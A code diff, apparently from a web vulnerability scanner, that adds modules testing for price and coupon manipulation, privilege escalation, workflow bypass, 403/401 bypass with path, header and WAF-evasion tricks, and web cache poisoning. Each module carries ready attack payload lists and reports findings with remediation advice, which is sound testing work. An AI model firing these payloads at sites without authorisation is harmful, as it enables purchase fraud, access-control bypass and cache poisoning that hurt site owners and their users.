+# ──────────────────────────────────────────────────────────────────────
+BUSINESS_LOGIC_ENDPOINTS = [
+    "/api/cart",
+    "/api/checkout",
+    "/api/purchase",
+    "/api/order",
+    "/api/payment",
+    "/api/coupon",
+    "/api/discount",
+    "/api/redeem",
+    "/api/transfer",
+    "/api/withdraw",
+    "/api/deposit",
+    "/api/vote",
+    "/api/like",
+    "/api/follow",
+    "/api/subscribe",
+    "/api/unsubscribe",
+]
+
+# Price manipulation payloads
+PRICE_MANIPULATION_PAYLOADS = [
+    {"price": "-100"},
+    {"price": "0"},
+    {"price": "0.01"},
+    {"price": "999999"},
+    {"amount": "-100"},
+    {"amount": "0"},
+    {"discount": "100"},
+    {"discount": "999"},
+]
+
+# Coupon abuse payloads
+COUPON_PAYLOADS = [
+    {"coupon": "TEST123"},
+    {"coupon": "ADMIN"},
+    {"coupon": "FREE"},
+    {"coupon": "100OFF"},
+    {"coupon": "UNLIMITED"},
+    {"coupon_code": "TEST123"},
+    {"promo_code": "FREE"},
+]
+
+# Quantity manipulation payloads
+QUANTITY_PAYLOADS = [
+    {"quantity": "-1"},
+    {"quantity": "0"},
+    {"quantity": "999999"},
+    {"qty": "-1"},
+    {"qty": "0"},
+    {"qty": "999999"},
+]
+
+# ──────────────────────────────────────────────────────────────────────
+# Scanner Implementation
+# ──────────────────────────────────────────────────────────────────────
+class BusinessLogicScanner(BaseScanner):
+    SCANNER_NAME = "Business Logic Vulnerability Scanner"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+        self._ctx = ssl.create_default_context()
+        self._ctx.check_hostname = False
+        self._ctx.verify_mode = ssl.CERT_NONE
+        self._headers = {"User-Agent": "LarShield/2.0 Business Logic Scanner"}
+        if self.auth_headers:
+            self._headers.update(self.auth_headers)
+        
+        self._tested_endpoints = 0
+        self._vulns_found = 0
+        self._differential = DifferentialAnalyzer()
+        self._mutation_tester = ParameterMutationTester(self._bl_mutation_req)
+
+    def _bl_mutation_req(self, url, params):
+        data = urllib.parse.urlencode(params).encode("utf-8")
+        body, status = self._make_request(url, method="POST", data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=8)
+        return body or "", status
+
+    def _get(self, url, timeout=8):
+        try:
+            req = urllib.request.Request(url, headers=self._headers)
+            with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
+                return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
+        except urllib.error.HTTPError as e:
+            body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
+            return body, e.code
+        except Exception as e:
+            self.log("ERROR", f"[BusinessLogic] _get error: {e}")
+            return "", 0
+
+    def _post(self, url, data, timeout=8):
+        try:
+            encoded = urllib.parse.urlencode(data).encode("utf-8")
+            req = urllib.request.Request(url, data=encoded, headers={
+                **self._headers,
+                "Content-Type": "application/x-www-form-urlencoded"
+            })
+            with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
+                return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
+        except urllib.error.HTTPError as e:
+            body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
+            return body, e.code
+        except Exception as e:
+            self.log("ERROR", f"[BusinessLogic] _post error: {e}")
+            return "", 0
+
+    def _test_price_manipulation(self, url):
+        """Test for price manipulation vulnerabilities."""
+        self.log("INFO", f"[Business Logic] Testing price manipulation on {url}")
+        
+        # GAP-ADV: Concurrent execution
+        reqs = [{
+            "url": url, "method": "POST", 
+            "data": urllib.parse.urlencode(payload).encode("utf-8"),
+            "headers": {"Content-Type": "application/x-www-form-urlencoded"},
+            "payload": payload
+        } for payload in PRICE_MANIPULATION_PAYLOADS]
+        
+        results = self._make_async_requests(reqs)
+        
+        for req_dict, body, status in results:
+            if not body: continue
+            payload = req_dict["payload"]
+            
+            # Check if manipulation was successful
+            if status in [200, 201, 202] and any(
+                indicator in body.lower() 
+                for indicator in ["success", "completed", "order confirmed", "payment successful"]
+            ):
+                self._vulns_found += 1
+                self.log("CRITICAL", 
+                         f"[Business Logic] Price manipulation successful! Payload: {payload}")
+                
+                self.add_vuln(
+                    title="Business Logic — Price Manipulation",
+                    severity="Critical",
+                    category="Business Logic",
+                    cvss_score=9.8,
+                    description=(
+                        f"A price manipulation vulnerability was detected at {url}.\n"
+                        f"Payload: {payload}\n"
+                        "The application accepts manipulated prices without validation, "
+                        "allowing attackers to purchase items for free or at reduced prices."
+                    ),
+                    remediation=(
+                        "1. NEVER accept prices from client-side requests\n"
+                        "2. Store prices server-side and reference by ID\n"
+                        "3. Validate all monetary values on the server\n"
+                        "4. Implement server-side price calculation\n"
+                        "5. Add transaction monitoring for unusual pricing\n"
+                        "6. Use payment gateway validation"
+                    )
+                )
+                return True
+        return False
+
+    def _test_coupon_abuse(self, url):
+        """Test for coupon abuse vulnerabilities."""
+        self.log("INFO", f"[Business Logic] Testing coupon abuse on {url}")
+        
+        reqs = [{
+            "url": url, "method": "POST", 
+            "data": urllib.parse.urlencode(payload).encode("utf-8"),
+            "headers": {"Content-Type": "application/x-www-form-urlencoded"},
+            "payload": payload
+        } for payload in COUPON_PAYLOADS]
+        
+        results = self._make_async_requests(reqs)
+        
+        for req_dict, body, status in results:
+            if not body: continue
+            payload = req_dict["payload"]
+            
+            # Check if coupon was accepted
+            if status in [200, 201] and any(
+                indicator in body.lower() 
+                for indicator in ["discount applied", "coupon valid", "promo accepted", "success"]
+            ):
+                self._vulns_found += 1
+                self.log("WARNING", 
+                         f"[Business Logic] Coupon abuse possible! Payload: {payload}")
+                
+                self.add_vuln(
+                    title="Business Logic — Coupon Abuse",
+                    severity="High",
+                    category="Business Logic",
+                    cvss_score=8.5,
+                    description=(
+                        f"A coupon abuse vulnerability was detected at {url}.\n"
+                        f"Payload: {payload}\n"
+                        "The application accepts invalid or guessable coupon codes, "
+                        "allowing unauthorized discounts."
+                    ),
+                    remediation=(
+                        "1. Implement one-time-use coupon codes\n"
+                        "2. Use cryptographically secure coupon generation\n"
+                        "3. Validate coupon ownership and usage limits\n"
+                        "4. Monitor coupon usage patterns\n"
+                        "5. Implement rate limiting on coupon attempts"
+                    )
+                )
+                return True
+        return False
+
+    def _test_quantity_manipulation(self, url):
+        """Test for quantity manipulation vulnerabilities."""
+        self.log("INFO", f"[Business Logic] Testing quantity manipulation on {url}")
+        
+        reqs = [{
+            "url": url, "method": "POST", 
+            "data": urllib.parse.urlencode(payload).encode("utf-8"),
+            "headers": {"Content-Type": "application/x-www-form-urlencoded"},
+            "payload": payload
+        } for payload in QUANTITY_PAYLOADS]
+        
+        results = self._make_async_requests(reqs)
+        
+        for req_dict, body, status in results:
+            if not body: continue
+            payload = req_dict["payload"]
+            
+            # Check if manipulation was successful
+            if status in [200, 201] and any(
+                indicator in body.lower() 
+                for indicator in ["success", "added", "updated", "confirmed"]
+            ):
+                self._vulns_found += 1
+                self.log("WARNING", 
+                         f"[Business Logic] Quantity manipulation possible! Payload: {payload}")
+                
+                self.add_vuln(
+                    title="Business Logic — Quantity Manipulation",
+                    severity="High",
+                    category="Business Logic",
+                    cvss_score=7.5,
+                    description=(
+                        f"A quantity manipulation vulnerability was detected at {url}.\n"
+                        f"Payload: {payload}\n"
+                        "The application accepts invalid quantities without validation."
+                    ),
+                    remediation=(
+                        "1. Validate quantity ranges on the server\n"
+                        "2. Implement minimum and maximum quantity limits\n"
+                        "3. Check inventory levels before processing\n"
+                        "4. Add server-side quantity validation\n"
+                        "5. Monitor for unusual quantity patterns"
+                    )
+                )
+                return True
+        return False
+
+    def _test_privilege_escalation(self, url):
+        """Test for privilege escalation through business logic."""
+        self.log("INFO", f"[Business Logic] Testing privilege escalation on {url}")
+        
+        escalation_payloads = [
+            {"role": "admin"},
+            {"role": "administrator"},
+            {"role": "superuser"},
+            {"is_admin": "true"},
+            {"is_admin": "1"},
+            {"admin": "true"},
+            {"permissions": "all"},
+            {"access_level": "admin"},
+        ]
+        
+        reqs = [{
+            "url": url, "method": "POST", 
+            "data": urllib.parse.urlencode(payload).encode("utf-8"),
+            "headers": {"Content-Type": "application/x-www-form-urlencoded"},
+            "payload": payload
+        } for payload in escalation_payloads]
+        
+        results = self._make_async_requests(reqs)
+        
+        for req_dict, body, status in results:
+            if not body: continue
+            payload = req_dict["payload"]
+            
+            # Check if escalation was successful
+            if status in [200, 201] and any(
+                indicator in body.lower() 
+                for indicator in ["admin", "administrator", "success", "updated"]
+            ):
+                self._vulns_found += 1
+                self.log("CRITICAL", 
+                         f"[Business Logic] Privilege escalation possible! Payload: {payload}")
+                
+                self.add_vuln(
+                    title="Business Logic — Privilege Escalation",
+                    severity="Critical",
+                    category="Business Logic",
+                    cvss_score=9.8,
+                    description=(
+                        f"A privilege escalation vulnerability was detected at {url}.\n"
+                        f"Payload: {payload}\n"
+                        "The application allows privilege escalation through parameter manipulation."
+                    ),
+                    remediation=(
+                        "1. Never accept role/permission parameters from client\n"
+                        "2. Store user roles server-side\n"
+                        "3. Implement proper role-based access control\n"
+                        "4. Validate all privilege changes\n"
+                        "5. Use immutable session tokens\n"
+                        "6. Audit privilege changes"
+                    )
+                )
+                return True
+        return False
+
+    def _test_mutation_workflow(self, url):
+        self.log("INFO", f"[Business Logic] Testing parameter mutations on {url}")
+        base_params = {"id": "1", "action": "test", "status": "pending"}
+        mutations = [
+            {"name": "negative_quantity", "params": {"quantity": "-1"}},
+            {"name": "zero_price", "params": {"price": "0"}},
+            {"name": "negative_price", "params": {"price": "-100"}},
+            {"name": "overflow_amount", "params": {"amount": "999999999999"}},
+            {"name": "admin_role", "params": {"role": "admin"}},
+            {"name": "bypass_skip", "params": {"skip": "true"}},
+            {"name": "bypass_step", "params": {"step": "complete"}},
+            {"name": "bulk_discount", "params": {"discount": "100"}},
+        ]
+        results = self._mutation_tester.test(url, base_params, mutations)
+        for res in results:
+            if res.get("anomalous"):
+                self._vulns_found += 1
+                self.log("WARNING", f"[Business Logic] Anomalous mutation: {res['mutation']} status={res['status']} diff={res['length_diff_pct']}%")
+                self.add_vuln(
+                    title=f"Business Logic — Anomalous Parameter Mutation ({res['mutation']})",
+                    severity="High",
+                    category="Business Logic",
+                    cvss_score=7.5,
+                    description=(
+                        f"Parameter mutation '{res['mutation']}' at {url} "
+                        f"produced an anomalous response (status: {res['status']}, "
+                        f"length difference: {res['length_diff_pct']}%). "
+                        "This may indicate a business logic vulnerability."
+                    ),
+                    remediation="Validate all input parameters server-side. Implement proper state machines for workflows. "
+                        "Ensure negative values, zero values, and role parameters are rejected.",
+                    cwe_ids=["CWE-840"],
+                    owasp_category="A01:2021 – Broken Access Control",
+                )
+
+    def _test_workflow_bypass(self, url):
+        """Test for workflow bypass vulnerabilities."""
+        self.log("INFO", f"[Business Logic] Testing workflow bypass on {url}")
+        
+        bypass_payloads = [
+            {"step": "complete"},
+            {"skip": "true"},
+            {"bypass": "true"},
+            {"status": "completed"},
+            {"approved": "true"},
+            {"verified": "true"},
+        ]
+        
+        reqs = [{
+            "url": url, "method": "POST", 
+            "data": urllib.parse.urlencode(payload).encode("utf-8"),
+            "headers": {"Content-Type": "application/x-www-form-urlencoded"},
+            "payload": payload
+        } for payload in bypass_payloads]
+        
+        results = self._make_async_requests(reqs)
+        
+        for req_dict, body, status in results:
+            if not body: continue
+            payload = req_dict["payload"]
+            
+            # Check if bypass was successful
+            if status in [200, 201] and any(
+                indicator in body.lower() 
+                for indicator in ["success", "completed", "approved", "verified"]
+            ):
+                self._vulns_found += 1
+                self.log("WARNING", 
+                         f"[Business Logic] Workflow bypass possible! Payload: {payload}")
+                
+                self.add_vuln(
+                    title="Business Logic — Workflow Bypass",
+                    severity="High",
+                    category="Business Logic",
+                    cvss_score=8.0,
+                    description=(
+                        f"A workflow bypass vulnerability was detected at {url}.\n"
+                        f"Payload: {payload}\n"
+                        "The application allows skipping workflow steps through parameter manipulation."
+                    ),
+                    remediation=(
+                        "1. Implement server-side workflow validation\n"
+                        "2. Store workflow state server-side\n"
+                        "3. Validate each step before allowing progression\n"
+                        "4. Use state machines for complex workflows\n"
+                        "5. Audit workflow transitions"
+                    )
+                )
+                return True
+        return False
+
+    def _discover_business_logic_endpoints(self):
+        """Discover endpoints with business logic vulnerabilities using shared context."""
+        endpoints = []
+        
+        try:
+            # GAP-ADV: Centralized context replaces redundant crawling
+            results = self.discovery_context or {}
+            
+            # Check URLs for business logic patterns
+            for url_entry in results.get("urls", []):
+                url = url_entry.get("url") if isinstance(url_entry, dict) else url_entry
+                for pattern in BUSINESS_LOGIC_ENDPOINTS:
+                    if pattern in url.lower():
+                        endpoints.append(url)
+                        break
+            
+            # Check forms for business logic fields
+            for form in results.get("forms", []):
+                action = form.get("action", "")
+                inputs = form.get("inputs", [])
+                
+                # Check for business-related input names
+                for inp in inputs:
+                    input_name = inp.get("name", "").lower()
+                    if any(x in input_name for x in ["price", "amount", "quantity", "coupon", "discount", "role"]):
+                        endpoints.append(action)
+                        break
+                        
+        except Exception as e:
+            self.log("WARNING", f"[Business Logic] Error processing endpoints from context: {str(e)}")
+            
+        return list(set(endpoints))
+
+    def run(self):
+        self.log("INFO", f"[Business Logic] Starting business logic vulnerability scanning on {self.target}...")
+        
+        try:
+            # Step 1: Discover business logic endpoints
+            self.log("INFO", "[Business Logic] Discovering business logic endpoints...")
+            endpoints = self._discover_business_logic_endpoints()
+            self.log("INFO", f"[Business Logic] Found {len(endpoints)} business logic endpoint(s)")
+            
+            if not endpoints:
+                self.log("INFO", "[Business Logic] No business logic endpoints detected")
+                return self.vulns
+            
+            # Step 2: Test each endpoint
+            for url in endpoints[:15]:  # Limit to 15 endpoints
+                self._tested_endpoints += 1
+                self.log("INFO", f"[Business Logic] Testing endpoint: {url}")
+                
+                # Determine test type based on URL
+                if any(x in url.lower() for x in ["checkout", "purchase", "payment", "order"]):
+                    self._test_price_manipulation(url)
+                elif any(x in url.lower() for x in ["coupon", "discount", "promo"]):
+                    self._test_coupon_abuse(url)
+                elif any(x in url.lower() for x in ["cart", "quantity", "qty"]):
+                    self._test_quantity_manipulation(url)
+                elif any(x in url.lower() for x in ["role", "admin", "user"]):
+                    self._test_privilege_escalation(url)
+                else:
+                    self._test_workflow_bypass(url)
+
+            self._test_mutation_workflow(url)
+            
+        except Exception as e:
+            self.log("WARNING", f"[Business Logic] Unexpected error during scan: {str(e)}")
+        
+        # Summary
+        self.log("SUCCESS" if not self.vulns else "WARNING",
+                 f"[Business Logic] Complete — {self._tested_endpoints} endpoint(s) tested | "
+                 f"{self._vulns_found} business logic vulnerability/vulnerabilities found")
+        return self.vulns

backend/scanners/bypass_403_scanner.py

@@ -0,0 +1,156 @@
+"""
+bypass_403_scanner.py — 403/401 Bypass Scanner
+================================================
+Attempts to bypass access-denied responses using URL encoding tricks,
+path normalization, header manipulation, and method switching.
+"""
+import urllib.parse
+from scanners.base_scanner import BaseScanner
+from utils.evasion import waf_evade
+from utils.callback import build_callback_url
+
+PROTECTED_PATHS = [
+    "/admin", "/admin/", "/dashboard", "/config", "/secret",
+    "/api/admin", "/internal", "/private", "/backup",
+    "/management", "/.env", "/server-status",
+]
+
+
+class Bypass403Scanner(BaseScanner):
+    SCANNER_NAME = "403/401 Bypass Scanner"
+    _SCANNER_KEY = "bypass_403"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[403Bypass] Testing access control bypass techniques on {self.target}...")
+        base = self.target.rstrip("/")
+
+        for path in PROTECTED_PATHS:
+            baseline_status = self._get_status(base + path)
+            if baseline_status not in (401, 403):
+                continue
+
+            self.log("INFO", f"[403Bypass] Found protected path: {path} (HTTP {baseline_status})")
+            self._try_bypasses(base, path, baseline_status)
+
+        if not self.vulns:
+            self.log("SUCCESS", "[403Bypass] No 403/401 bypass vectors found.")
+        return self.vulns
+
+    def _try_bypasses(self, base, path, original_status):
+        bypasses = []
+
+        path_variants = [
+            path + "/",
+            path + "/.",
+            "/" + path.lstrip("/").replace("/", "//"),
+            path.replace("/", "/%2f"),
+            path.replace("/", "/./"),
+            "/." + path,
+            path + "%20",
+            path + "%09",
+            path + "..;/",
+            path + "/*",
+            path + "?.js",
+            path + ".json",
+            path + "/%2e/",
+            path.upper(),
+            path.lower().replace("/admin", "/Admin"),
+            path.replace("/", "/%2f/"),
+            path + "?x=1",
+            path + "#",
+            "/.." + path,
+            "/%2e%2e" + path,
+            path + "/..",
+            "/%23" + path,
+            "/%00" + path,
+            path.replace("/", "/%00/"),
+            path + ".html",
+            path + "/%20",
+            path + ";/",
+            path + "%252f",
+            "//" + path.lstrip("/"),
+            "/" + path.lstrip("/").replace("/", "/%20/"),
+            path.replace("/", "/%09/"),
+        ]
+        for variant in path_variants:
+            s = self._get_status(base + variant)
+            if s not in (401, 403, 404, 0):
+                bypasses.append({"method": f"Path variant: `{variant}`", "status": s})
+            for enc_name, enc_val in waf_evade(variant):
+                s2 = self._get_status(base + enc_val)
+                if s2 not in (401, 403, 404, 0):
+                    bypasses.append({"method": f"Path variant (WAF evade): `{enc_val}`", "status": s2})
+
+        callback_url = build_callback_url("/403-bypass")
+        header_tricks = [
+            {"X-Original-URL": path},
+            {"X-Rewrite-URL": path},
+            {"X-Custom-IP-Authorization": "127.0.0.1"},
+            {"X-Forwarded-For": "127.0.0.1"},
+            {"X-Remote-IP": "127.0.0.1"},
+            {"X-Remote-Addr": "127.0.0.1"},
+            {"X-ProxyUser-Ip": "127.0.0.1"},
+            {"Client-IP": "127.0.0.1"},
+            {"X-Originating-IP": "127.0.0.1"},
+            {"X-Forwarded-For": "localhost"},
+            {"X-Real-IP": "127.0.0.1"},
+            {"X-Forwarded-Host": "localhost"},
+            {"X-Original-URL": path, "X-Forwarded-For": "127.0.0.1"},
+            {"X-Rewrite-URL": path, "X-Forwarded-For": "127.0.0.1"},
+            {"X-Forwarded-For": callback_url},
+            {"X-Forwarded-For": "127.0.0.1, 10.0.0.1"},
+            {"X-Forwarded-For": "2130706433"},
+            {"X-Forwarded-For": "0x7f000001"},
+            {"X-Original-URL": path, "X-Forwarded-For": "10.0.0.1"},
+            {"X-Rewrite-URL": path, "X-Forwarded-Host": "localhost"},
+            {"X-HTTP-Method-Override": "GET"},
+            {"X-HTTP-Method": "GET"},
+            {"X-Method-Override": "GET"},
+        ]
+        for hdrs in header_tricks:
+            s = self._get_status(base + "/", extra_headers=hdrs)
+            if s not in (401, 403, 404, 0):
+                header_key = list(hdrs.keys())[0]
+                header_val = list(hdrs.values())[0]
+                bypasses.append({"method": f"Header: `{header_key}: {header_val}`", "status": s})
+            for header_name in hdrs:
+                for enc_name, enc_val in waf_evade(header_name):
+                    waf_hdrs = {enc_val: hdrs[header_name]}
+                    s2 = self._get_status(base + "/", extra_headers=waf_hdrs)
+                    if s2 not in (401, 403, 404, 0):
+                        bypasses.append({"method": f"Header (WAF evade): `{enc_val}: {hdrs[header_name]}`", "status": s2})
+
+        for method in ["POST", "HEAD", "OPTIONS", "PUT", "DELETE", "PATCH", "TRACE", "CONNECT", "PROPFIND", "MOVE", "COPY", "MKCOL"]:
+            s = self._get_status(base + path, method=method)
+            if s not in (401, 403, 404, 0):
+                bypasses.append({"method": f"HTTP method: `{method}`", "status": s})
+
+        if bypasses:
+            self.add_vuln(
+                title=f"403/401 Access Control Bypass on `{path}`",
+                severity="High",
+                category="Access Control Bypass",
+                cvss_score=7.5,
+                description=f"Path `{path}` returned HTTP {original_status} normally, but the "
+                    f"following techniques bypassed the restriction:\n\n" +
+                    "\n".join(f"- {b['method']} → HTTP **{b['status']}**" for b in bypasses[:20]),
+                remediation="1. Implement access control at the application layer, not just the URL.\n"
+                    "2. Normalize URLs before access control checks (strip ../, %2f, trailing dots).\n"
+                    "3. Reject X-Original-URL and X-Rewrite-URL headers at the reverse proxy.\n"
+                    "4. Never trust X-Forwarded-For or Client-IP for authorization decisions.",
+                evidence="\n".join(f"{b['method']} → {b['status']}" for b in bypasses[:20]),
+                confidence="High",
+                cwe_ids=["CWE-290"],
+                owasp_category="A01:2021 – Broken Access Control",
+            )
+            self.log("CRITICAL", f"[403Bypass] {len(bypasses)} bypass(es) found for {path}!")
+
+    def _get_status(self, url, method="GET", extra_headers=None):
+        headers = {}
+        if extra_headers:
+            headers.update(extra_headers)
+        body, status = self._make_request(url, method=method, headers=headers if headers else None)
+        return status

backend/scanners/cache_control_scanner.py

@@ -0,0 +1,69 @@
+"""
+cache_control_scanner.py — Browser Cache Control Scanner
+"""
+import urllib.request, urllib.error
+from scanners.base_scanner import BaseScanner
+
+SENSITIVE_PATHS = [
+    "/account", "/profile", "/dashboard", "/settings", "/api/me",
+    "/api/user", "/admin", "/invoices", "/billing", "/orders",
+    "/payment", "/statements", "/reports",
+]
+
+class CacheControlScanner(BaseScanner):
+    SCANNER_NAME = "Browser Cache Control Scanner"
+    _SCANNER_KEY = "cache_control"
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[CacheControl] Checking Cache-Control headers on sensitive pages of {self.target}...")
+        base = self.target.rstrip("/")
+        risky = []
+
+        # Check main page
+        for path in [""] + SENSITIVE_PATHS:
+            url = base + path if path else base
+            headers, status = self._get_headers(url)
+            if status not in (200, 302): continue
+            cc = headers.get("cache-control", "").lower()
+            pragma = headers.get("pragma", "").lower()
+            ct = headers.get("content-type", "").lower()
+            # Skip non-HTML/JSON (images, CSS, etc.)
+            if any(t in ct for t in ("image/", "text/css", "font/", "javascript")): continue
+            # Vulnerable if no-store is absent
+            if "no-store" not in cc:
+                risky.append({
+                    "url": url, "cache-control": cc or "(missing)",
+                    "pragma": pragma or "(missing)", "status": status
+                })
+
+        if risky:
+            self.add_vuln(
+                title=f"Sensitive Pages Cacheable by Browser ({len(risky)} pages)",
+                severity="Medium",
+                category="Information Disclosure",
+                cvss_score=5.3,
+                description="The following authenticated/sensitive pages lack `Cache-Control: no-store`, "
+                    "allowing browsers and shared proxies to cache the responses. On shared/public devices, "
+                    "a subsequent user can press Back or access the browser cache to retrieve private data:\n\n" +
+                    "\n".join(f"- `{r['url']}` — Cache-Control: `{r['cache-control']}`" for r in risky[:8]),
+                remediation="Add to all authenticated responses:\n"
+                    "`Cache-Control: no-store, no-cache, must-revalidate, max-age=0`\n"
+                    "`Pragma: no-cache`\n"
+                    "`Expires: 0`",
+            )
+        else:
+            self.log("SUCCESS", "[CacheControl] All sensitive pages properly set Cache-Control: no-store.")
+        return self.vulns
+
+    def _get_headers(self, url):
+        try:
+            req = urllib.request.Request(url, headers=self._make_headers())
+            with urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) as r:
+                return {k.lower(): v for k, v in r.headers.items()}, r.status
+        except urllib.error.HTTPError as e:
+            return {k.lower(): v for k, v in e.headers.items()}, e.code
+        except Exception as e:
+            self.log("ERROR", f"[CacheControl] _get_headers error: {e}")
+            return {}, 0

backend/scanners/cache_poisoning_scanner.py

@@ -0,0 +1,194 @@
+"""
+cache_poisoning_scanner.py — Web Cache Poisoning Scanner
+=========================================================
+Tests whether unkeyed HTTP headers (X-Forwarded-Host, X-Original-URL,
+X-Rewrite-URL) are reflected in the response, enabling CDN/reverse-proxy
+cache poisoning.
+"""
+import urllib.parse, time
+from scanners.base_scanner import BaseScanner
+from utils.anomaly import TimingAnomalyDetector
+from utils.callback import build_callback_url
+
+UNKEYED_HEADERS = [
+    ("X-Forwarded-Host",   "wss-cache-poison-test.evil"),
+    ("X-Original-URL",     "/wss-cache-poison-probe"),
+    ("X-Rewrite-URL",      "/wss-cache-poison-probe"),
+    ("X-Forwarded-Scheme", "nothttps"),
+    ("X-Forwarded-Proto",  "nothttps"),
+    ("X-Host",             "wss-cache-poison-test.evil"),
+]
+
+
+class CachePoisoningScanner(BaseScanner):
+    SCANNER_NAME = "Web Cache Poisoning Scanner"
+    _SCANNER_KEY = "cache_poisoning"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+        self._timing = TimingAnomalyDetector()
+
+    def run(self) -> list:
+        self.log("INFO", f"[CachePoison] Testing cache poisoning via unkeyed headers on {self.target}...")
+
+        cwe = ["CWE-644"]
+        owasp = "A04:2021 – Insecure Design"
+        self._cwe = cwe
+        self._owasp = owasp
+
+        for header_name, header_val in UNKEYED_HEADERS:
+            self._test_unkeyed_header(header_name, header_val)
+
+        self._test_callback_header()
+        self._test_cache_key_confusion()
+        self._test_web_cache_deception()
+
+        if not self.vulns:
+            self.log("SUCCESS", "[CachePoison] No cache poisoning vectors detected.")
+        return self.vulns
+
+    def _test_unkeyed_header(self, header_name, header_val):
+        body, status, resp_headers = self._make_request(
+            self.target,
+            headers={"User-Agent": "LarShield/2.0", header_name: header_val},
+            return_response_obj=True,
+        )
+
+        if body is None:
+            self.log("ERROR", f"[CachePoison] Request failed for header {header_name}")
+            return
+
+        reflected_in_body = header_val in body
+        reflected_in_headers = any(header_val in v for v in resp_headers.values())
+
+        if reflected_in_body or reflected_in_headers:
+            location = "response body" if reflected_in_body else "response headers"
+            self.add_vuln(
+                title=f"Cache Poisoning via Unkeyed Header: {header_name}",
+                severity="High",
+                category="Cache Poisoning",
+                cvss_score=7.4,
+                description=f"Injecting `{header_name}: {header_val}` caused the value to be "
+                    f"reflected in the {location}. If the CDN/reverse proxy caches this response "
+                    f"without keying on `{header_name}`, all subsequent users will receive the "
+                    f"poisoned response, enabling XSS or phishing at scale.",
+                remediation=f"1. Configure the cache to vary on `{header_name}` or strip it.\n"
+                    f"2. The application should not reflect `{header_name}` in output.\n"
+                    f"3. Use Cache-Control: private, no-store for sensitive pages.\n"
+                    f"4. Test with: `curl -H '{header_name}: evil' {self.target}`",
+                evidence=f"Value '{header_val}' reflected in {location}",
+                payload=f"{header_name}: {header_val}",
+                request_details=f"GET with {header_name}: {header_val}",
+                response_details=f"Reflected in {location}",
+                confidence="Confirmed",
+                cwe_ids=self._cwe,
+                owasp_category=self._owasp,
+            )
+            self.log("WARNING", f"[CachePoison] Reflected {header_name} in {location}!")
+        else:
+            self.log("SUCCESS", f"[CachePoison] {header_name}: Not reflected")
+
+    def _test_cache_key_confusion(self):
+        self.log("INFO", "[CachePoison] Testing cache key confusion...")
+        try:
+            probe_val = "wss-cache-confusion-probe"
+            body, status, resp_headers = self._make_request(
+                self.target,
+                headers={
+                    "User-Agent": "LarShield/2.0",
+                    "X-Forwarded-Host": probe_val,
+                    "X-Host": probe_val,
+                },
+                return_response_obj=True,
+            )
+            if body and probe_val in body:
+                self.add_vuln(
+                    title="Cache Key Confusion — Multiple Unkeyed Headers",
+                    severity="High",
+                    category="Cache Poisoning",
+                    cvss_score=7.0,
+                    description="Multiple unkeyed headers (X-Forwarded-Host and X-Host) were sent together and their value was reflected. An attacker can exploit cache key confusion by injecting different values that get merged into the cached response.",
+                    remediation="Normalize or strip all unkeyed headers at the reverse proxy before they reach the application.",
+                    evidence=f"Probe value '{probe_val}' reflected in body",
+                    payload=f"X-Forwarded-Host: {probe_val}, X-Host: {probe_val}",
+                    request_details="GET with multiple conflicting host headers",
+                    response_details=f"Reflected probe in body",
+                    confidence="High",
+                    cwe_ids=self._cwe,
+                    owasp_category=self._owasp,
+                )
+        except Exception as e:
+            self.log("ERROR", f"[CachePoison] Cache key confusion test error: {e}")
+
+    def _test_callback_header(self):
+        self.log("INFO", "[CachePoison] Testing callback-based cache poisoning...")
+        callback_url = build_callback_url("/cache-poison")
+        for header_name in ["X-Forwarded-Host", "X-Host", "X-Original-URL"]:
+            body, status, resp_headers = self._make_request(
+                self.target,
+                headers={header_name: callback_url},
+                return_response_obj=True,
+            )
+            if body and callback_url in body:
+                self.add_vuln(
+                    title=f"Cache Poisoning via Callback URL in {header_name}",
+                    severity="Critical",
+                    category="Cache Poisoning",
+                    cvss_score=8.6,
+                    description=f"Injecting a callback URL in `{header_name}` was reflected in the response. "
+                        "This confirms the header is unkeyed and can be used for blind cache poisoning "
+                        "with out-of-band detection.",
+                    remediation=f"Strip or key `{header_name}`. Validate header values at the proxy.",
+                    evidence=f"Callback URL '{callback_url}' reflected in body",
+                    payload=f"{header_name}: {callback_url}",
+                    request_details=f"GET with {header_name}: {callback_url}",
+                    response_details="Callback URL reflected in body",
+                    confidence="Confirmed",
+                    cwe_ids=self._cwe,
+                    owasp_category=self._owasp,
+                )
+                self.log("WARNING", f"[CachePoison] Callback reflected via {header_name}!")
+
+    def _test_web_cache_deception(self):
+        self.log("INFO", "[CachePoison] Testing web cache deception...")
+        try:
+            parsed = urllib.parse.urlparse(self.target)
+            deception_path = parsed.path.rstrip("/") + "/nonexistent.css"
+            test_url = parsed._replace(path=deception_path).geturl()
+
+            t0 = time.monotonic()
+            body, status, resp_headers = self._make_request(
+                test_url, return_response_obj=True,
+            )
+            elapsed = time.monotonic() - t0
+            self._timing.record_timing(f"deception_{test_url}", elapsed)
+
+            if body and status == 200 and "text/css" not in str(resp_headers.get("Content-Type", "")):
+                cache_ctl = str(resp_headers.get("Cache-Control", ""))
+                if "public" in cache_ctl or ("max-age" in cache_ctl and int(resp_headers.get("Content-Length", "0") or "0") > 100):
+                    timing_anomaly = self._timing.is_anomalous(elapsed, 2.5)
+                    sev = "Critical" if timing_anomaly else "Medium"
+                    cvss = 8.0 if timing_anomaly else 5.4
+                    self.add_vuln(
+                        title="Web Cache Deception — Static Extension Serves Dynamic Content" +
+                            (" (Timing Anomaly)" if timing_anomaly else ""),
+                        severity=sev,
+                        category="Cache Poisoning",
+                        cvss_score=cvss,
+                        description=f"Appending '.css' to the path returns a 200 response with non-CSS content. "
+                            "If the CDN caches this based on extension, an attacker can trick users into "
+                            "leaking sensitive data via cached responses.",
